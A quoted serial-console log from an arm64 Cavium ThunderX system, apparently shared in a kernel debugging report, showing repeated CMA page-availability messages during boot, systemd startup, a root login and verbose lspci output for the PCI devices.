> [ 7.600665] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.600704] cma:
> [ 7.600705] => 1505 free of 8192 total pages
> [ OK ] Reached targe[ 7.600806] cma: number of available pages:
> t Paths.[ 7.600807] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+11
>
> [ 7.600847] cma:
> [ 7.600847] => 1505 free of 8192 total pages
> [ 7.605879] cma: number of available pages:
> [ 7.605880] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.605919] cma:
> [ OK ] Mounted Huge [ 7.605920] => 1505 free of 8192 total pages
> Pages File System.
> [ 7.605989] cma: number of available pages:
> [ 7.605989] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.606029] cma:
> [ 7.606029] => 1505 free of 8192 total pages
> [ 7.606049] cma: number of available pages:
> [ OK ] Mounted POSIX[ 7.606049] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+31
> Message Queue File System.[ 7.606088] cma:
>
> [ 7.606089] => 1505 free of 8192 total pages
> [ 7.606189] cma: number of available pages:
> [ 7.606190] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.606234] cma:
> [ OK ] Mounted Debug[ 7.606235] => 1505 free of 8192 total pages
> File System.
> [ 7.610265] cma: number of available pages:
> [ 7.610266] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.610305] cma:
> [ 7.610306] => 1505 free of 8192 total pages
> [ OK ] Started Journ[ 7.610374] cma: number of available pages:
> al Service.
> [ 7.610375] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.610417] cma:
> [ 7.610418] => 1505 free of 8192 total pages
> [ 7.610441] cma: number of available pages:
> [ 7.610441] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ OK ] Started Load [ 7.610487] cma:
> Kernel Modules.[ 7.610487] => 1505 free of 8192 total pages
>
> [ 7.610586] cma: number of available pages:
> [ 7.610587] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.610626] cma:
> [ 7.610627] => 1505 free of 8192 total pages
> [ 7.657286] cma: number of available pages:
> [ 7.657287] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.657328] cma:
> [ 7.657329] => 1469 free of 8192 total pages
> [ OK ] Started Remou[ 7.662380] cma: number of available pages:
> [ 7.662380] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
>
> [ 7.662422] cma:
> [ 7.662422] => 1469 free of 8192 total pages
> [ 7.667474] cma: number of available pages:
> [ OK ] Started Creat[ 7.667475] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+31
> e Static Device Nodes in /dev.[ 7.667516] cma:
>
> [ 7.667516] => 1469 free of 8192 total pages
> [ 7.672567] cma: number of available pages:
> [ 7.672568] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.672609] cma:
> [ 7.672610] => 1469 free of 8192 total pages
> [ OK ] Reached targe[ 7.677661] cma: number of available pages:
> t Local File Systems (Pre).
> [ 7.677662] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.677703] cma:
> [ 7.677704] => 1469 free of 8192 total pages
> [ 7.682754] cma: number of available pages:
> [ 7.682755] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ OK ] Reached targe[ 7.682796] cma:
> t Local File Systems.
> [ 7.682797] => 1469 free of 8192 total pages
> [ 7.687848] cma: number of available pages:
> [ 7.687849] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.687890] cma:
> [ 7.687891] => 1469 free of 8192 total pages
> [ 7.692942] cma: number of available pages:
> [ 7.692943] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.692985] cma:
> [ 7.692985] => 1469 free of 8192 total pages
> [ 7.826460] sdp1-2 NIC Link is UP
> [ 7.847393] cma: number of available pages:
> [ 7.847394] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.847437] cma:
> [ 7.847437] => 1463 free of 8192 total pages
> [ 7.847505] cma: number of available pages:
> [ 7.847505] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.847550] cma:
> [ 7.847550] => 1463 free of 8192 total pages
> [ 7.847573] cma: number of available pages:
> [ 7.847574] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.847623] cma:
> Starting Enable support [ 7.847623] => 1463 free of 8192 total pages
> for additional executable binary[ 7.847724] cma: number of available pages:
> formats...
> [ 7.847725] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.847768] cma:
> [ 7.847769] => 1463 free of 8192 total pages
> [ 7.848791] cma: number of available pages:
> [ 7.848791] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> Starting Load/Save Rando[ 7.848834] cma:
> m Seed...[ 7.848834] => 1463 free of 8192 total pages
>
> [ 7.848902] cma: number of available pages:
> [ 7.848903] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.848945] cma:
> [ 7.848946] => 1463 free of 8192 total pages
> [ 7.848966] cma: number of available pages:
> [ 7.848966] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.849009] cma:
> [ 7.849009] => 1463 free of 8192 total pages
> Starting Apply Kernel Variables...
> Mounting Configuration File System...
> Starting Flush Journal to Persistent Storage...
> [ OK ] Mounted Configuration File System.
> [ OK ] Started Enable support for additional executable binary formats.
> [ OK ] Started Load/Save Random Seed.
> [ OK ] Started Apply Kernel Variables.
> Starting Raise network interfaces...
> [ OK ] Started LSB: QEMU KVM module loading script.
> [ OK ] Started Flush Journal to Persistent Storage.
> Starting Create Volatile Files and Directories...
> [FAILED] Failed to start Create Volatile Files and Directories.
> See 'systemctl status systemd-tmpfiles-setup.service' for details.
> Starting Update UTMP about System Boot/Shutdown...
> Starting Network Time Synchronization...
> [ OK ] Started Update UTMP about System Boot/Shutdown.
> [ OK ] Started Network Time Synchronization.
> [ OK ] Reached target System Initialization.
> [ OK ] Started Daily Cleanup of Temporary Directories.
> [ OK ] Listening on D-Bus System Message Bus Socket.
> [ OK ] Listening on UUID daemon activation socket.
> [ OK ] Reached target Sockets.
> [ OK ] Reached target Basic System.
> [ OK ] Started D-Bus System Message Bus.
> Starting LSB: Set the CPU Frequency Scaling governor to "ondemand"...
> Starting LSB: Start/stop sysstat's sadc...
> [ OK ] Started Regular background program processing daemon.
> Starting Permit User Sessions...
> Starting Login Service...
> [ OK ] Reached target System Time Synchronized.
> [ OK ] Started Message of the Day.
> [ OK ] Started Daily apt download activities.
> [ OK ] Started Daily apt upgrade and clean activities.
> [ OK ] Reached target Timers.
> [ OK ] Started Permit User Sessions.
> [ OK ] Started Raise network interfaces.
> [ OK ] Started LSB: Set the CPU Frequency Scaling governor to "ondemand".
> [ OK ] Started LSB: Start/stop sysstat's sadc.
> [ OK ] Started Login Service.
> [ OK ] Reached target Network.
> Starting OpenBSD Secure Shell server...
> Starting /etc/rc.local Compatibility...
> [ 16.096016] rc.local[237]: Sent message type=method_call sender=n/a destination=org.freedesktop.systemd1 object=/org/freedesktop/systemd1/unit/multi_2duser_2etarget interface=oa
> [ 16.144832] rc.local[237]: Got message type=method_return sender=n/a destination=n/a object=n/a interface=n/a member=n/a cookie=1 reply_cookie=1 error=n/a
> [ 16.581847] rc.local[237]: Showing one /org/freedesktop/systemd1/unit/dbus_2esocket
> [ 16.613572] rc.local[237]: Sent message type=method_call sender=n/a destination=org.freedesktop.systemd1 object=/org/freedesktop/systemd1/unit/dbus_2esocket interface=org.freeda
> [ OK ] Started OpenBSD Secure Shell server.
> [ 16.644155] rc.local[237]: Got message type=method_return sender=n/a destination=n/a object=n/a interface=n/a member=n/a cookie=1 reply_cookie=1 error=n/a
> [ 16.668335] rc.local[237]: Showing one /org/freedesktop/systemd1/unit/ssh_2esocket
> [ 16.684138] rc.local[237]: Sent message type=method_call sender=n/a destination=org.freedesktop.systemd1 object=/org/freedesktop/systemd1/unit/ssh_2esocket interface=org.freedea
> [ 16.708167] rc.local[237]: Got message type=method_return sender=n/a destination=n/a object=n/a interface=n/a member=n/a cookie=1 reply_cookie=1 error=n/a
> [ OK ] Started OpenBSD Secure Shell server.
> [ 16.728259] rc.local[237]: Showing one /org/freedesktop/systemd1/unit/syslog_2esocket
> [ OK ] Started /etc/rc.local Compatibility.
>
> Ubuntu 16.04.7 LTS localhost.localdomain ttyAMA0
>
> localhost login: root
> Password:
> Last login: Wed Oct 22 03:13:38 UTC 2025 on ttyAMA0
> Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 7.0.0-rc1-00001-gbda05604fa31 aarch64)
>
> * Documentation: https://help.ubuntu.com
> * Management: https://landscape.canonical.com
> * Support: https://ubuntu.com/pro
> root@localhost:~#
> root@localhost:~#
> root@localhost:~# lsp
> lspci lspgpot
> root@localhost:~# lspci | grep a0e2
> 0002:1b:00.0 Ethernet controller: Cavium, Inc. Device a0e2 (rev 54)
> root@localhost:~#
> root@localhost:~#
> root@localhost:~#
> root@localhost:~# lspci -vv
> 0000:00:01.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=01, subordinate=01, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
> lspci: Unable to load libkmod resources: error -12
>
> 0000:00:03.0 System peripheral: Cavium, Inc. Device a062
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 830000000000 (32-bit, non-prefetchable) [size=2M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:05.0 System peripheral: Cavium, Inc. THUNDERX GTI (Global System Timers)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 802000000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 80200f000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=138 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:08.0 System peripheral: Cavium, Inc. Device a09e (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 807000000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 807000f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=2 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Kernel driver in use: Marvell PTP Driver
>
> 0000:00:0a.0 System peripheral: Cavium, Inc. Device a09d
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87a400000000 (32-bit, non-prefetchable) [size=2G]
> Region 4: [virtual] Memory at 87a480000000 (32-bit, non-prefetchable) [size=2G]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:0c.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=02, subordinate=02, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0000:00:0d.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=03, subordinate=03, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
